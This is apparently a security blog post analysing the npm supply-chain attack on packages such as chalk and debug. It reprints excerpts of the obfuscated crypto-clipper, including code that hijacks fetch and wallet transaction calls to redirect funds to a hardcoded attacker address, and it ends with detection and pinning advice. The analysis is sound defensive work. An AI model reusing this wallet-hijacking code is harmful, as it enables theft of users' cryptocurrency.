- security
- npm
- supply-chain
- cryptocurrency
- javascript
Introduction
The NPM account of popular maintainer qix
was compromised, leading to malicious versions of fundamental packages like chalk
, debug
, strip-ansi
, and color-convert
being published. With combined weekly downloads exceeding one billion, this attack had the potential to compromise virtually every JavaScript project on the planet.
The attack wasn't just about stealing data—it was specifically designed to hijack cryptocurrency transactions and steal funds directly from users' wallets.
The Anatomy of the Attack
The compromise began with a sophisticated phishing email that perfectly mimicked NPM's official 2FA reset communications. The attention to detail was so precise that even an experienced maintainer fell victim to it. Once the attacker gained access to the qix
NPM account, they systematically published malicious patch versions across dozens of high-impact packages.
Timeline:
- Phishing (2FA reset spoof) → maintainer account takeover
- Malicious patch versions published across core packages (
chalk
,debug
,strip-ansi
,color-convert
) - Detection via CI failures and community reports
- Remediation: clean republish, permission revocations, and NPM takedowns
The affected packages included:
chalk
(300+ million weekly downloads)debug
(200+ million weekly downloads)strip-ansi
(261+ million weekly downloads)color-convert
(193+ million weekly downloads)ansi-styles
,supports-color
,has-ansi
, and many others
These aren't obscure libraries—they're foundational utilities buried deep in the dependency trees of virtually every JavaScript project.
Dissecting the Malicious Code
The injected payload was a heavily obfuscated crypto-clipper designed to steal cryptocurrency through two distinct attack vectors. You can examine the complete malicious code here.
The malware first checks for the presence of window.ethereum
, which is the standard object injected by wallet extensions like MetaMask. Based on this detection, it chooses between passive address swapping or active wallet hijacking.
Passive Address Swapping
When no wallet is detected, the malware monkey-patches the browser's native fetch
and XMLHttpRequest
functions:
// Intercepts fetch responses and swaps detected crypto addresses
const _0x4664e9 = fetch;
fetch = async function (..._0x1ae7ec) {
const _0x406ee2 = await _0xba16ef.tfqRA(_0x4664e9, ..._0x1ae7ec),
_0x207752 = _0x406ee2.headers.get('Content-Type') || '';
let _0x561841;
_0x207752.includes('application/json') ? (_0x561841 = await _0x406ee2.clone().json()) : (_0x561841 = await _0x406ee2.clone().text());
// Address replacement logic follows...
};
This interception allows the malware to scan every HTTP response for cryptocurrency addresses across multiple chains. The script contains extensive lists of attacker-owned addresses for Bitcoin, Ethereum, Solana, Tron, Litecoin, and Bitcoin Cash.
The sophisticated part is the address selection algorithm. Instead of random replacement, the malware uses the Levenshtein distance algorithm to find the most visually similar address:
// Calculates Levenshtein distance and picks the closest attacker address
function _0x3479c8(_0x13a5cc, _0x8c209f) {
// Levenshtein distance calculation
const _0x50715b = Array.from({ length: _0x13a5cc.length + 1 }, () => Array(_0x8c209f.length + 1).fill(0));
// Distance matrix calculation...
return _0x50715b[_0x13a5cc.length][_0x8c209f.length];
}
function _0x2abae0(_0x348925, _0x2f1e3d) {
let _0xff60d1 = Infinity,
_0x5be3d3 = null;
for (let _0x214c8b of _0x2f1e3d) {
const _0x3a7411 = _0x3479c8(_0x348925.toLowerCase(), _0x214c8b.toLowerCase());
_0x3a7411 < _0xff60d1 && ((_0xff60d1 = _0x3a7411), (_0x5be3d3 = _0x214c8b));
}
return _0x5be3d3;
}
This technique makes address swaps incredibly difficult to detect visually, exploiting human perception limitations.
Active Wallet Hijacking
When a wallet is detected, the malware launches its most dangerous component by patching the wallet's communication methods:
// Wraps provider methods to intercept eth_sendTransaction and rewrite payloads
function _0x485f9d(_0x38473f, _0x292c7a) {
return async function (..._0x59af19) {
_0x1c41fa++;
let _0x12a7cb;
try {
_0x12a7cb = JSON.parse(JSON.stringify(_0x59af19));
} catch (_0x5d1767) {
_0x12a7cb = [..._0x59af19];
}
if (_0x59af19[0] && typeof _0x59af19[0] === 'object') {
const _0x2c3d7e = _0x12a7cb[0];
if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {
try {
const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);
_0x2c3d7e.params[0] = _0x39ad21;
} catch (_0x226343) {}
}
}
// Execute original function with modified parameters
return _0x38473f.apply(this, _0x12a7cb);
};
}
Understanding Wallet Communication Protocols
To understand the attack's severity, you need to understand how browser-based cryptocurrency wallets operate.
MetaMask injects a global window.ethereum
object that implements the EIP-1193 standard. This object provides methods like request()
, send()
, and sendAsync()
that decentralized applications use to communicate with the wallet.
Note: request()
is the primary EIP-1193 surface; send
/sendAsync
are legacy/shimmed and should generally be avoided.
The normal transaction flow looks like this:
- DApp prepares a transaction object with recipient address, value, and data
- DApp calls
window.ethereum.request({method: 'eth_sendTransaction', params: [transaction]})
- MetaMask displays the transaction details for user approval
- User reviews and signs the transaction
- MetaMask broadcasts the signed transaction to the blockchain
Solana wallets like Phantom work similarly but use different method names like solana_signTransaction
and solana_signAndSendTransaction
.
Deep Dive into Transaction Manipulation
The malware's transaction manipulation was surgical and comprehensive. Let's examine the specific attack patterns:
Ethereum Transaction Hijacking
For eth_sendTransaction
requests, the malware implemented multiple attack vectors:
Value Transfer Redirection
if (_0x13d8ee.value && _0x13d8ee.value !== '0x0' && _0x13d8ee.value !== '0') {
const _0x5c6391 = _0x13d8ee.to;
_0x13d8ee.to = '0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976';
}
Any transaction with a non-zero value gets redirected to the attacker's address: 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976
.
ERC-20 Token Approval Hijacking
if (_0x250e27.startsWith('0x095ea7b3')) {
if (_0x250e27.length >= 74) {
const _0x7fa5f0 = _0x250e27.substring(0, 10),
_0x15c4f9 = '0x' + _0x250e27.substring(34, 74),
_0xde14cc = 'Fc4a4858bafef54D1b1d7697bfb5c52F4c166976'.padStart(64, '0'),
_0x3e4a11 = 'f'.repeat(64);
_0x13d8ee.data = _0x7fa5f0 + _0xde14cc + _0x3e4a11;
}
}
For ERC-20 approve()
calls (function selector 0x095ea7b3
), the malware rewrites the spender to the attacker and sets the approval amount to maximum (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
).
ERC-20 Transfer Redirection
if (_0x250e27.startsWith('0xa9059cbb')) {
if (_0x250e27.length >= 74) {
const _0x5d2193 = _0x250e27.substring(0, 10),
_0x1493e2 = _0x250e27.substring(74),
_0x32c34c = 'Fc4a4858bafef54D1b1d7697bfb5c52F4c166976'.padStart(64, '0');
_0x13d8ee.data = _0x5d2193 + _0x32c34c + _0x1493e2;
}
}
For ERC-20 transfer()
calls (function selector 0xa9059cbb
), the recipient gets replaced with the attacker's address.
Solana Transaction Manipulation
For Solana transactions, the malware was more destructive:
// Rewrites Solana instruction accounts to a hardcoded address, often breaking transactions
_0x13d8ee.instructions &&
Array.isArray(_0x13d8ee.instructions) &&
_0x13d8ee.instructions.forEach((_0x190501) => {
_0x190501.accounts &&
Array.isArray(_0x190501.accounts) &&
_0x190501.accounts.forEach((_0x2b9990) => {
if (typeof _0x2b9990 === 'string') {
_0x2b9990 = '19111111111111111111111111111111';
} else {
_0x2b9990.pubkey && (_0x2b9990.pubkey = '19111111111111111111111111111111');
}
});
});
All public keys in transaction instructions get replaced with the hardcoded address 19111111111111111111111111111111
. This address appears to be a variation of Solana's system program address 11111111111111111111111111111111
, but with "19" instead of "11" at the beginning. Using this malformed address would likely cause Solana transactions to fail, suggesting the Solana attack vector was designed more to break transactions than successfully steal funds.
Tracking the Stolen Funds
The primary Ethereum address used in the attack is 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976. Etherscan has labeled this address as "NPM Exploiter 1", confirming its connection to the supply chain attack.
Interestingly, the address doesn't show massive transaction volumes, suggesting either the attack had limited success. The relatively low activity could indicate that the quick response from the community and package maintainers prevented widespread exploitation.
The Stealth Control Interface
The malware exposed a debugging interface through window.stealthProxyControl
:
// Publishes a control object to toggle hijacking and inspect status
window.stealthProxyControl = {
isActive: () => _0x1ab7cb,
getInterceptCount: () => _0x1c41fa,
getOriginalMethods: () => _0x2a20cb,
forceShield: () => {
if (window.ethereum) {
return _0x41630a(window.ethereum);
}
return false;
},
};
This interface allowed the attacker to monitor the malware's status and manually trigger wallet hijacking if needed.
Detection and Response
The attack was first detected through build failures in CI/CD pipelines. The malware's attempt to use fetch()
in Node.js environments caused obvious errors since older Node.js versions don't have a global fetch
function.
The JavaScript community's response was swift. Maintainers like Sindre Sorhus immediately published clean versions of affected packages and removed the compromised account from package permissions. NPM eventually took down the malicious versions, though the response time highlighted gaps in the platform's security monitoring.
Quick check to see if you're affected (tip from Sindre Sorhus):
rg -uu --max-columns=80 --glob '*.js' _0x112fa8
Protection Strategies
Immediate Actions
- Audit dependencies: Check for compromised versions in your dependency tree
- Pin safe versions: Use package.json overrides to force specific versions:
{
"overrides": {
"chalk": "5.3.0",
"debug": "4.4.1",
"strip-ansi": "7.1.0",
"color-convert": "2.0.1"
}
}
- Regenerate lockfiles: Delete
node_modules
and lockfiles, then reinstall
Long-term Security Practices
Dependency Management
- Implement automated vulnerability scanning in CI/CD pipelines
- Use tools like
npm audit
and Snyk for continuous monitoring - Review lockfile changes during code reviews
- Consider using
npm ci
in production to ensure reproducible builds
Wallet Security
- Always verify transaction details directly on hardware wallets
- Use multi-signature wallets for high-value transactions
- Monitor wallet addresses with blockchain explorers
- Consider using browser extensions that detect address manipulation
The Broader Implications
This attack demonstrates the fragility of our software supply chain. The JavaScript ecosystem's heavy reliance on transitive dependencies means a single compromised package can affect millions of applications instantly.
The cryptocurrency-specific payload shows how attackers are adapting to exploit the growing adoption of digital assets. As DeFi and Web3 applications become mainstream, we can expect more sophisticated attacks targeting the intersection of traditional web development and cryptocurrency.
The attack also highlights the need for better security practices across the entire ecosystem. Package registries need improved monitoring, maintainers need better security training, and developers need more robust dependency management practices.
Conclusion
This incident shows how a single compromised maintainer can ripple through the entire JS ecosystem. The crypto-focused payload created real end-user risk, but rapid community action limited impact.
Treat dependencies as untrusted inputs: pin and audit them, verify changes, and build defense-in-depth so a future compromise can’t silently exfiltrate value.
Affiliate Links
Using these referral links helps support my work. I only recommend products I use and trust. Thank you for your support!